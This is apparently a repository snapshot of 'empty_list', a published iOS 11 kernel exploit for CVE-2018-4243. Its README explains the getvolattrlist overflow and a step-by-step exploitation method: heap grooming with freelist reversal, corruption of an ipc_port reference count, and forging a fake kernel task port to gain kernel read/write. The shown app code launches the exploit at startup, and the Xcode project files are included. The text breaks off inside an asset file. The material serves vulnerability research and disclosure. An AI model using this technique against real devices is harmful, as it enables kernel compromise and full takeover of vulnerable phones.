├── README ├── empty_list.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ ├── xcshareddata │ │ └── IDEWorkspaceChecks.plist │ └── xcuserdata │ │ └── ianbeer.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcuserdata │ └── ianbeer.xcuserdatad │ ├── xcdebugger │ └── Breakpoints_v2.xcbkptlist │ └── xcschemes │ └── xcschememanagement.plist └── empty_list ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets ├── AppIcon.appiconset │ └── Contents.json └── Contents.json ├── Base.lproj ├── LaunchScreen.storyboard └── Main.storyboard ├── Info.plist ├── README ├── ViewController.h ├── ViewController.m ├── kmem.c ├── kmem.h ├── main.m ├── offsets.h ├── offsets.m ├── sploit.c └── sploit.h /README: -------------------------------------------------------------------------------- 1 | empty_list - exploit for p0 issue 1564 (CVE-2018-4243) iOS 11.0 - 11.3.1 kernel r/w 2 | @i41nbeer 3 | 4 | BUG: 5 | getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall. 6 | 7 | When allocating a kernel buffer to serialize the attr list to there's the following comment: 8 | 9 | /* 10 | * Allocate a target buffer for attribute results. 11 | * Note that since we won't ever copy out more than the caller requested, 12 | * we never need to allocate more than they offer. 13 | */ 14 | ab.allocated = ulmin(bufferSize, fixedsize + varsize); 15 | if (ab.allocated > ATTR_MAX_BUFFER) { 16 | error = ENOMEM; 17 | VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER); 18 | goto out; 19 | } 20 | MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK); 21 | 22 | The problem is that the code doesn't then correctly handle the case when the user supplied buffer size 23 | is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code: 24 | 25 | /* Return attribute set output if requested. */ 26 | if (return_valid) { 27 | ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS; 28 | if (pack_invalid) { 29 | /* Only report the attributes that are valid */ 30 | ab.actual.commonattr &= ab.valid.commonattr; 31 | ab.actual.volattr &= ab.valid.volattr; 32 | } 33 | bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual)); 34 | } 35 | 36 | There's no check that the allocated buffer is big enough to hold at least that. 37 | 38 | Exploitation: 39 | I hope to publish a longer-form write up of this, these are some rough notes on how the exploit works: 40 | 41 | The bug gives you the ability to write 8 zero bytes off the end of a kalloc.16 allocation. Whilst it looks like you 42 | might be able to control a few bits in those bytes I'm not sure you actually can so I focused on exploiting 43 | as if it was writing a NULL pointer off the end. 44 | 45 | This is pretty limited primitive so the first step is to try to enumerate possible things you could do: 46 | * target a reference count, trying to turn the overflow into a UaF bug 47 | * target a lock, trying to turn the overflow into a race condition bug 48 | * target a pointer, trying to leak a reference count 49 | * target a validated datastructure where 0 is an interesting value to change something to 50 | 51 | In the end I chose the first option. There are then two further requirements: 52 | * target needs a reference count in the first 8 bytes 53 | * target has to be overflowable into from kalloc.16 54 | 55 | I chose to target struct ipc_port, which has a reference count field as its second dword thus fulfilling the 56 | first requirement. It is however not allocated in kalloc.16; instead it lives in its own zone (ipc_ports.) 57 | 58 | This means we have to aligned a kalloc.16 zone block just before an ipc_ports one, then overflow out of the 59 | last kalloc.16 allocation in the kalloc.16 block into the first on in ipc_ports. 60 | 61 | There are two tricks we can use to make this easier: 62 | 1) freelist reversal 63 | 2) safely-overflowable allocations 64 | 65 | Freelist Reversal: 66 | zone allocations will come first from intermediate (partially full) pages. This means that if we just start free'ing and 67 | allocating k.16 objects somewhere in the middle of the groom they won't be re-used until 68 | the current intermediate page is either full or empty. 69 | 70 | this provides a challenge because fresh page's freelist's are filled semi-randomly such that 71 | their allocations will go from the inside to the outside: 72 | 73 | | 9 8 6 5 2 1 3 4 7 10 | <-- example "randomized" allocation order from a fresh all-free page 74 | 75 | this means that our final intermediate k.16 and ports pages will look a bit like this: 76 | 77 | | - - - 5 2 1 3 4 - - | - - - 4 1 2 3 5 - - | 78 | kalloc.16 ipc_ports 79 | 80 | if we use the overflow to corrupt a freelist entry we'll panic if it gets allocated, so we 81 | need to avoid that 82 | 83 | the trick is that by controlling the allocation and free order we can reverse the freelists such that 84 | the final intermediate pages will look more like this: 85 | | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 | 86 | kalloc.16 ipc_ports 87 | 88 | at this point we're much more likely to be able to free a kalloc.16 and realloc it for the overflow 89 | such that we can hit the first qword of an ipc_port. 90 | 91 | Safely-Overflowable allocations: 92 | since there are likely to be many candidate allocations we're gonna have to overflow out of before we hit the 93 | target one (which is right at the end, just before the ipc_port) we need to make sure that the allocated objects 94 | on the kalloc.16 page are safe to corrupt with a NULL pointer. 95 | 96 | I use mach message ool_port descriptors for this, as NULL is a valid value. 97 | 98 | Exploit Flow: 99 | We do the groom to reverse the kalloc.16 freelists and start trying to overflow into an ipc_port. 100 | 101 | We know the approximate range of mach port names which contain the to-be-corrupted port; after each overflow attempt 102 | we check each of these ports to see if the port was corrupted. A side-effect of successful corruption is that the 103 | port's io_active flag will be set to zero. We can detect this without causing side-effects using the 104 | mach_port_kobject MIG method. 105 | 106 | Once we find the corrupted port we need to cause a reference to be taken and dropped on it; and more importantly we 107 | need the code path which does this to not check the io_active flag. mach_port_set_attributes will do this for us. 108 | 109 | Now we've turned our NULL pointer write off the end of a kalloc.16 into a dangling mach port :) 110 | 111 | We cause a zone gc, aiming to get the port's memory reused as a kalloc.4096 page. We first get it reused as a ool_ports 112 | descriptor where the ip_context field overlaps with a send right we send ourselves to a canary port. This lets us 113 | learn the approximate address of our objects in the kernel. We then replace the ool_desc with a pipe buffer, 114 | and with a bit of fiddling are able to work out where the dangling mach port is in memory. 115 | 116 | We craft a fake kernel task port in there then clean up. 117 | 118 | Reliability: 119 | The exploit does work, which was my goal :) Reliablilty is something like 30% maybe, it all hinges on how quickly you can do the initial overflow 120 | and test loop. If something else comes in and allocates or frees in kalloc.16 you increase the probability that you 121 | corrupt a freelist entry or something else and will panic. 122 | 123 | I'm sure the exploit can be made more reliable; I've only got it to the point where I've demonstrated that this 124 | bug is exploitable. If you want to take this as a starting point and demonstrate how to improve reliability I'd love 125 | to read a blog post! I imagine this would involve actually monitoring kalloc.16 allocations and understanding what 126 | the failure cases are and how they can be prevented. 127 | 128 | Success rates seem to be highest when the device has been rebooted and left idle for a bit. 129 | 130 | Cleanup: 131 | If the exploit does work it should clean up after itself and not panic the device. The fake kernel task port will stay alive. 132 | 133 | Use the functions in kmem.h to read and write kernel memory. Persist a send-right to tfp0 in there if you want to keep 134 | kernel memory access after this process exits. 135 | 136 | I've tested on: iPod Touch 6G, iPhone 6S, iPhone SE, iPhone 7, iPhone 8 137 | It should work on iOS 11 through iOS 11.3.1 138 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 50; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | B026DA7620CE95FE002379D3 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = B026DA7520CE95FE002379D3 /* AppDelegate.m */; }; 11 | B026DA7920CE95FE002379D3 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = B026DA7820CE95FE002379D3 /* ViewController.m */; }; 12 | B026DA7C20CE95FE002379D3 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B026DA7A20CE95FE002379D3 /* Main.storyboard */; }; 13 | B026DA7E20CE9600002379D3 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = B026DA7D20CE9600002379D3 /* Assets.xcassets */; }; 14 | B026DA8120CE9600002379D3 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B026DA7F20CE9600002379D3 /* LaunchScreen.storyboard */; }; 15 | B026DA8420CE9600002379D3 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = B026DA8320CE9600002379D3 /* main.m */; }; 16 | B026DA8E20CE96E9002379D3 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = B026DA8D20CE96E9002379D3 /* offsets.m */; }; 17 | B026DAB420D00999002379D3 /* sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = B026DAB320D00996002379D3 /* sploit.c */; }; 18 | B028005B20D1452C00A8AA4B /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = B028005A20D1452C00A8AA4B /* kmem.c */; }; 19 | B028005D20D15ED200A8AA4B /* README in Resources */ = {isa = PBXBuildFile; fileRef = B028005C20D15ED200A8AA4B /* README */; }; 20 | /* End PBXBuildFile section */ 21 | 22 | /* Begin PBXFileReference section */ 23 | B026DA7120CE95FE002379D3 /* empty_list.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = empty_list.app; sourceTree = BUILT_PRODUCTS_DIR; }; 24 | B026DA7420CE95FE002379D3 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 25 | B026DA7520CE95FE002379D3 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 26 | B026DA7720CE95FE002379D3 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 27 | B026DA7820CE95FE002379D3 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 28 | B026DA7B20CE95FE002379D3 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 29 | B026DA7D20CE9600002379D3 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 30 | B026DA8020CE9600002379D3 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 31 | B026DA8220CE9600002379D3 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 32 | B026DA8320CE9600002379D3 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 33 | B026DA8D20CE96E9002379D3 /* offsets.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = ""; }; 34 | B026DA8F20CE9702002379D3 /* offsets.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = ""; }; 35 | B026DAB220D00996002379D3 /* sploit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = sploit.h; sourceTree = ""; }; 36 | B026DAB320D00996002379D3 /* sploit.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = sploit.c; sourceTree = ""; }; 37 | B028005920D1452C00A8AA4B /* kmem.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = ""; }; 38 | B028005A20D1452C00A8AA4B /* kmem.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = ""; }; 39 | B028005C20D15ED200A8AA4B /* README */ = {isa = PBXFileReference; lastKnownFileType = text; path = README; sourceTree = ""; }; 40 | /* End PBXFileReference section */ 41 | 42 | /* Begin PBXFrameworksBuildPhase section */ 43 | B026DA6E20CE95FE002379D3 /* Frameworks */ = { 44 | isa = PBXFrameworksBuildPhase; 45 | buildActionMask = 2147483647; 46 | files = ( 47 | ); 48 | runOnlyForDeploymentPostprocessing = 0; 49 | }; 50 | /* End PBXFrameworksBuildPhase section */ 51 | 52 | /* Begin PBXGroup section */ 53 | B026DA6820CE95FE002379D3 = { 54 | isa = PBXGroup; 55 | children = ( 56 | B026DA7320CE95FE002379D3 /* empty_list */, 57 | B026DA7220CE95FE002379D3 /* Products */, 58 | ); 59 | sourceTree = ""; 60 | }; 61 | B026DA7220CE95FE002379D3 /* Products */ = { 62 | isa = PBXGroup; 63 | children = ( 64 | B026DA7120CE95FE002379D3 /* empty_list.app */, 65 | ); 66 | name = Products; 67 | sourceTree = ""; 68 | }; 69 | B026DA7320CE95FE002379D3 /* empty_list */ = { 70 | isa = PBXGroup; 71 | children = ( 72 | B026DA7420CE95FE002379D3 /* AppDelegate.h */, 73 | B026DA7520CE95FE002379D3 /* AppDelegate.m */, 74 | B026DA7720CE95FE002379D3 /* ViewController.h */, 75 | B026DA7820CE95FE002379D3 /* ViewController.m */, 76 | B026DA7A20CE95FE002379D3 /* Main.storyboard */, 77 | B026DA7D20CE9600002379D3 /* Assets.xcassets */, 78 | B026DA7F20CE9600002379D3 /* LaunchScreen.storyboard */, 79 | B026DA8220CE9600002379D3 /* Info.plist */, 80 | B026DA8320CE9600002379D3 /* main.m */, 81 | B026DA8D20CE96E9002379D3 /* offsets.m */, 82 | B026DA8F20CE9702002379D3 /* offsets.h */, 83 | B026DAB220D00996002379D3 /* sploit.h */, 84 | B026DAB320D00996002379D3 /* sploit.c */, 85 | B028005920D1452C00A8AA4B /* kmem.h */, 86 | B028005A20D1452C00A8AA4B /* kmem.c */, 87 | B028005C20D15ED200A8AA4B /* README */, 88 | ); 89 | path = empty_list; 90 | sourceTree = ""; 91 | }; 92 | /* End PBXGroup section */ 93 | 94 | /* Begin PBXNativeTarget section */ 95 | B026DA7020CE95FE002379D3 /* empty_list */ = { 96 | isa = PBXNativeTarget; 97 | buildConfigurationList = B026DA8720CE9600002379D3 /* Build configuration list for PBXNativeTarget "empty_list" */; 98 | buildPhases = ( 99 | B026DA6D20CE95FE002379D3 /* Sources */, 100 | B026DA6E20CE95FE002379D3 /* Frameworks */, 101 | B026DA6F20CE95FE002379D3 /* Resources */, 102 | ); 103 | buildRules = ( 104 | ); 105 | dependencies = ( 106 | ); 107 | name = empty_list; 108 | productName = empty_list; 109 | productReference = B026DA7120CE95FE002379D3 /* empty_list.app */; 110 | productType = "com.apple.product-type.application"; 111 | }; 112 | /* End PBXNativeTarget section */ 113 | 114 | /* Begin PBXProject section */ 115 | B026DA6920CE95FE002379D3 /* Project object */ = { 116 | isa = PBXProject; 117 | attributes = { 118 | LastUpgradeCheck = 0930; 119 | ORGANIZATIONNAME = "Ian Beer"; 120 | TargetAttributes = { 121 | B026DA7020CE95FE002379D3 = { 122 | CreatedOnToolsVersion = 9.3.1; 123 | }; 124 | }; 125 | }; 126 | buildConfigurationList = B026DA6C20CE95FE002379D3 /* Build configuration list for PBXProject "empty_list" */; 127 | compatibilityVersion = "Xcode 9.3"; 128 | developmentRegion = en; 129 | hasScannedForEncodings = 0; 130 | knownRegions = ( 131 | en, 132 | Base, 133 | ); 134 | mainGroup = B026DA6820CE95FE002379D3; 135 | productRefGroup = B026DA7220CE95FE002379D3 /* Products */; 136 | projectDirPath = ""; 137 | projectRoot = ""; 138 | targets = ( 139 | B026DA7020CE95FE002379D3 /* empty_list */, 140 | ); 141 | }; 142 | /* End PBXProject section */ 143 | 144 | /* Begin PBXResourcesBuildPhase section */ 145 | B026DA6F20CE95FE002379D3 /* Resources */ = { 146 | isa = PBXResourcesBuildPhase; 147 | buildActionMask = 2147483647; 148 | files = ( 149 | B028005D20D15ED200A8AA4B /* README in Resources */, 150 | B026DA8120CE9600002379D3 /* LaunchScreen.storyboard in Resources */, 151 | B026DA7E20CE9600002379D3 /* Assets.xcassets in Resources */, 152 | B026DA7C20CE95FE002379D3 /* Main.storyboard in Resources */, 153 | ); 154 | runOnlyForDeploymentPostprocessing = 0; 155 | }; 156 | /* End PBXResourcesBuildPhase section */ 157 | 158 | /* Begin PBXSourcesBuildPhase section */ 159 | B026DA6D20CE95FE002379D3 /* Sources */ = { 160 | isa = PBXSourcesBuildPhase; 161 | buildActionMask = 2147483647; 162 | files = ( 163 | B028005B20D1452C00A8AA4B /* kmem.c in Sources */, 164 | B026DAB420D00999002379D3 /* sploit.c in Sources */, 165 | B026DA8E20CE96E9002379D3 /* offsets.m in Sources */, 166 | B026DA7920CE95FE002379D3 /* ViewController.m in Sources */, 167 | B026DA8420CE9600002379D3 /* main.m in Sources */, 168 | B026DA7620CE95FE002379D3 /* AppDelegate.m in Sources */, 169 | ); 170 | runOnlyForDeploymentPostprocessing = 0; 171 | }; 172 | /* End PBXSourcesBuildPhase section */ 173 | 174 | /* Begin PBXVariantGroup section */ 175 | B026DA7A20CE95FE002379D3 /* Main.storyboard */ = { 176 | isa = PBXVariantGroup; 177 | children = ( 178 | B026DA7B20CE95FE002379D3 /* Base */, 179 | ); 180 | name = Main.storyboard; 181 | sourceTree = ""; 182 | }; 183 | B026DA7F20CE9600002379D3 /* LaunchScreen.storyboard */ = { 184 | isa = PBXVariantGroup; 185 | children = ( 186 | B026DA8020CE9600002379D3 /* Base */, 187 | ); 188 | name = LaunchScreen.storyboard; 189 | sourceTree = ""; 190 | }; 191 | /* End PBXVariantGroup section */ 192 | 193 | /* Begin XCBuildConfiguration section */ 194 | B026DA8520CE9600002379D3 /* Debug */ = { 195 | isa = XCBuildConfiguration; 196 | buildSettings = { 197 | ALWAYS_SEARCH_USER_PATHS = NO; 198 | CLANG_ANALYZER_NONNULL = YES; 199 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 200 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 201 | CLANG_CXX_LIBRARY = "libc++"; 202 | CLANG_ENABLE_MODULES = YES; 203 | CLANG_ENABLE_OBJC_ARC = YES; 204 | CLANG_ENABLE_OBJC_WEAK = YES; 205 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 206 | CLANG_WARN_BOOL_CONVERSION = YES; 207 | CLANG_WARN_COMMA = YES; 208 | CLANG_WARN_CONSTANT_CONVERSION = YES; 209 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 210 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 211 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 212 | CLANG_WARN_EMPTY_BODY = YES; 213 | CLANG_WARN_ENUM_CONVERSION = YES; 214 | CLANG_WARN_INFINITE_RECURSION = YES; 215 | CLANG_WARN_INT_CONVERSION = YES; 216 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 217 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 218 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 219 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 220 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 221 | CLANG_WARN_STRICT_PROTOTYPES = YES; 222 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 223 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 224 | CLANG_WARN_UNREACHABLE_CODE = YES; 225 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 226 | CODE_SIGN_IDENTITY = "iPhone Developer"; 227 | COPY_PHASE_STRIP = NO; 228 | DEBUG_INFORMATION_FORMAT = dwarf; 229 | ENABLE_STRICT_OBJC_MSGSEND = YES; 230 | ENABLE_TESTABILITY = YES; 231 | GCC_C_LANGUAGE_STANDARD = gnu11; 232 | GCC_DYNAMIC_NO_PIC = NO; 233 | GCC_NO_COMMON_BLOCKS = YES; 234 | GCC_OPTIMIZATION_LEVEL = 0; 235 | GCC_PREPROCESSOR_DEFINITIONS = ( 236 | "DEBUG=1", 237 | "$(inherited)", 238 | ); 239 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 240 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 241 | GCC_WARN_UNDECLARED_SELECTOR = YES; 242 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 243 | GCC_WARN_UNUSED_FUNCTION = YES; 244 | GCC_WARN_UNUSED_VARIABLE = YES; 245 | IPHONEOS_DEPLOYMENT_TARGET = 11.3; 246 | MTL_ENABLE_DEBUG_INFO = YES; 247 | ONLY_ACTIVE_ARCH = YES; 248 | SDKROOT = iphoneos; 249 | }; 250 | name = Debug; 251 | }; 252 | B026DA8620CE9600002379D3 /* Release */ = { 253 | isa = XCBuildConfiguration; 254 | buildSettings = { 255 | ALWAYS_SEARCH_USER_PATHS = NO; 256 | CLANG_ANALYZER_NONNULL = YES; 257 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 258 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 259 | CLANG_CXX_LIBRARY = "libc++"; 260 | CLANG_ENABLE_MODULES = YES; 261 | CLANG_ENABLE_OBJC_ARC = YES; 262 | CLANG_ENABLE_OBJC_WEAK = YES; 263 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 264 | CLANG_WARN_BOOL_CONVERSION = YES; 265 | CLANG_WARN_COMMA = YES; 266 | CLANG_WARN_CONSTANT_CONVERSION = YES; 267 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 268 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 269 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 270 | CLANG_WARN_EMPTY_BODY = YES; 271 | CLANG_WARN_ENUM_CONVERSION = YES; 272 | CLANG_WARN_INFINITE_RECURSION = YES; 273 | CLANG_WARN_INT_CONVERSION = YES; 274 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 275 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 276 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 277 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 278 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 279 | CLANG_WARN_STRICT_PROTOTYPES = YES; 280 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 281 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 282 | CLANG_WARN_UNREACHABLE_CODE = YES; 283 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 284 | CODE_SIGN_IDENTITY = "iPhone Developer"; 285 | COPY_PHASE_STRIP = NO; 286 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 287 | ENABLE_NS_ASSERTIONS = NO; 288 | ENABLE_STRICT_OBJC_MSGSEND = YES; 289 | GCC_C_LANGUAGE_STANDARD = gnu11; 290 | GCC_NO_COMMON_BLOCKS = YES; 291 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 292 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 293 | GCC_WARN_UNDECLARED_SELECTOR = YES; 294 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 295 | GCC_WARN_UNUSED_FUNCTION = YES; 296 | GCC_WARN_UNUSED_VARIABLE = YES; 297 | IPHONEOS_DEPLOYMENT_TARGET = 11.3; 298 | MTL_ENABLE_DEBUG_INFO = NO; 299 | SDKROOT = iphoneos; 300 | VALIDATE_PRODUCT = YES; 301 | }; 302 | name = Release; 303 | }; 304 | B026DA8820CE9600002379D3 /* Debug */ = { 305 | isa = XCBuildConfiguration; 306 | buildSettings = { 307 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 308 | CODE_SIGN_STYLE = Automatic; 309 | DEVELOPMENT_TEAM = 854G7LGZ42; 310 | INFOPLIST_FILE = empty_list/Info.plist; 311 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 312 | LD_RUNPATH_SEARCH_PATHS = ( 313 | "$(inherited)", 314 | "@executable_path/Frameworks", 315 | ); 316 | PRODUCT_BUNDLE_IDENTIFIER = "com.example.empty-list"; 317 | PRODUCT_NAME = "$(TARGET_NAME)"; 318 | TARGETED_DEVICE_FAMILY = "1,2"; 319 | }; 320 | name = Debug; 321 | }; 322 | B026DA8920CE9600002379D3 /* Release */ = { 323 | isa = XCBuildConfiguration; 324 | buildSettings = { 325 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 326 | CODE_SIGN_STYLE = Automatic; 327 | DEVELOPMENT_TEAM = 854G7LGZ42; 328 | INFOPLIST_FILE = empty_list/Info.plist; 329 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 330 | LD_RUNPATH_SEARCH_PATHS = ( 331 | "$(inherited)", 332 | "@executable_path/Frameworks", 333 | ); 334 | PRODUCT_BUNDLE_IDENTIFIER = "com.example.empty-list"; 335 | PRODUCT_NAME = "$(TARGET_NAME)"; 336 | TARGETED_DEVICE_FAMILY = "1,2"; 337 | }; 338 | name = Release; 339 | }; 340 | /* End XCBuildConfiguration section */ 341 | 342 | /* Begin XCConfigurationList section */ 343 | B026DA6C20CE95FE002379D3 /* Build configuration list for PBXProject "empty_list" */ = { 344 | isa = XCConfigurationList; 345 | buildConfigurations = ( 346 | B026DA8520CE9600002379D3 /* Debug */, 347 | B026DA8620CE9600002379D3 /* Release */, 348 | ); 349 | defaultConfigurationIsVisible = 0; 350 | defaultConfigurationName = Release; 351 | }; 352 | B026DA8720CE9600002379D3 /* Build configuration list for PBXNativeTarget "empty_list" */ = { 353 | isa = XCConfigurationList; 354 | buildConfigurations = ( 355 | B026DA8820CE9600002379D3 /* Debug */, 356 | B026DA8920CE9600002379D3 /* Release */, 357 | ); 358 | defaultConfigurationIsVisible = 0; 359 | defaultConfigurationName = Release; 360 | }; 361 | /* End XCConfigurationList section */ 362 | }; 363 | rootObject = B026DA6920CE95FE002379D3 /* Project object */; 364 | } 365 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jailbreaks/empty_list/2b5a5547e0e98372185336394aa273c55465492f/empty_list.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /empty_list.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | empty_list.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /empty_list/AppDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface AppDelegate : UIResponder 4 | 5 | @property (strong, nonatomic) UIWindow *window; 6 | 7 | 8 | @end 9 | 10 | -------------------------------------------------------------------------------- /empty_list/AppDelegate.m: -------------------------------------------------------------------------------- 1 | #import "AppDelegate.h" 2 | #include "sploit.h" 3 | 4 | @interface AppDelegate () 5 | 6 | @end 7 | 8 | @implementation AppDelegate 9 | 10 | 11 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 12 | // Override point for customization after application launch. 13 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), 14 | ^{vfs_sploit();}); 15 | return YES; 16 | } 17 | 18 | 19 | - (void)applicationWillResignActive:(UIApplication *)application { 20 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 21 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 22 | } 23 | 24 | 25 | - (void)applicationDidEnterBackground:(UIApplication *)application { 26 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 27 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 28 | } 29 | 30 | 31 | - (void)applicationWillEnterForeground:(UIApplication *)application { 32 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 33 | } 34 | 35 | 36 | - (void)applicationDidBecomeActive:(UIApplication *)application { 37 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 38 | } 39 | 40 | 41 | - (void)applicationWillTerminate:(UIApplication *)application { 42 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 43 | } 44 | 45 | 46 | @end 47 | -------------------------------------------------------------------------------- /empty_list/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | 